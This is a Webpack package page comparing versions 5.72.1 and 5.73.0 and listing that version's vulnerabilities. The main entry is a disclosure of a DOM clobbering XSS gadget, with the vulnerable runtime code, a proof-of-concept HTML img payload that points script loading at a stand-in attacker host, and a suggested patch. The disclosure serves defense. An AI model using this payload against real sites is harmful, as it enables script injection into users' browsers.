Webpack 5.73.0 represents a minor version bump over its predecessor, 5.72.1, suggesting targeted improvements and bug fixes rather than sweeping architectural changes. Analyzing the provided package data, the core dependencies remain largely consistent, indicating a focus on stability and refinement of existing features. Both versions share the same fundamental set of dependencies, including crucial modules for module parsing, AST manipulation (@webassemblyjs), and code optimization (terser-webpack-plugin). The identical dependency versions underscore a commitment to maintaining compatibility and preventing breaking changes for users upgrading between these releases.
While the dependency lists are virtually identical, subtle underlying code modifications and performance tweaks likely differentiate the two versions. These could address previously identified issues, enhance build speeds, or optimize resource utilization during the bundling process. Although specific change logs aren't provided within the package.json data, developers can anticipate improvements related to the loading and handling of various asset types, potential enhancements in the resolution process, and refined support for the latest JavaScript and web standards. The slight difference in unpacked size (4395990 vs 4382083) might hint about a refactoring or new features.
For developers leveraging Webpack, the upgrade from 5.72.1 to 5.73.0 represents a relatively low-risk endeavor. Given that the dependencies are the same between the 2 versions the upgrade is expected to be smooth without the necessity to change the configuration files. While the absence of explicit release notes necessitates a more cautious approach, the consistency in core libraries indicates a focus on iterative improvements and bug squashing, ultimately contributing to a more robust and performant bundling experience.
All the vulnerabilities related to the version 5.73.0 of the package
Cross-realm object access in Webpack 5
Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.
Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS
We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule
. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img
tag with an unsanitized name
attribute) are present.
We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule
. When the output.publicPath
field in the configuration is not set or is set to auto
, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript)
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript
can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src
attribute of the attacker-controlled element will be used as the scriptUrl
and assigned to __webpack_require__.p
. If additional scripts are loaded from the server, __webpack_require__.p
will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.
Consider a website developer with the following two scripts, entry.js
and import1.js
, that are compiled using Webpack:
// entry.js
import('./import1.js')
.then(module => {
module.hello();
})
.catch(err => {
console.error('Failed to load module', err);
});
// import1.js
export function hello () {
console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {
entry: './entry.js', // Ensure the correct path to your entry file
output: {
filename: 'webpack-gadgets.bundle.js', // Output bundle file
path: path.resolve(__dirname, 'dist'), // Output directory
publicPath: "auto", // Or leave this field not set
},
target: 'web',
mode: 'development',
};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js
file from the attacker's domain, attacker.controlled.server
. The attacker only needs to insert an img
tag with the name
attribute set to currentScript
. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
<title>Webpack Example</title>
<!-- Attacker-controlled Script-less HTML Element starts--!>
<img name="currentScript" src="https://attacker.controlled.server/"></img>
<!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.
A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ /* webpack/runtime/publicPath */
/******/ (() => {
/******/ var scriptUrl;
/******/ if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ var document = __webpack_require__.g.document;
/******/ if (!scriptUrl && document) {
/******/ if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ scriptUrl = document.currentScript.src;
/******/ if (!scriptUrl) {
/******/ var scripts = document.getElementsByTagName("script");
/******/ if(scripts.length) {
/******/ var i = scripts.length - 1;
/******/ while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ }
/******/ }
/******/ }
/******/ // When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ // or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ __webpack_require__.p = scriptUrl;
/******/ })();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.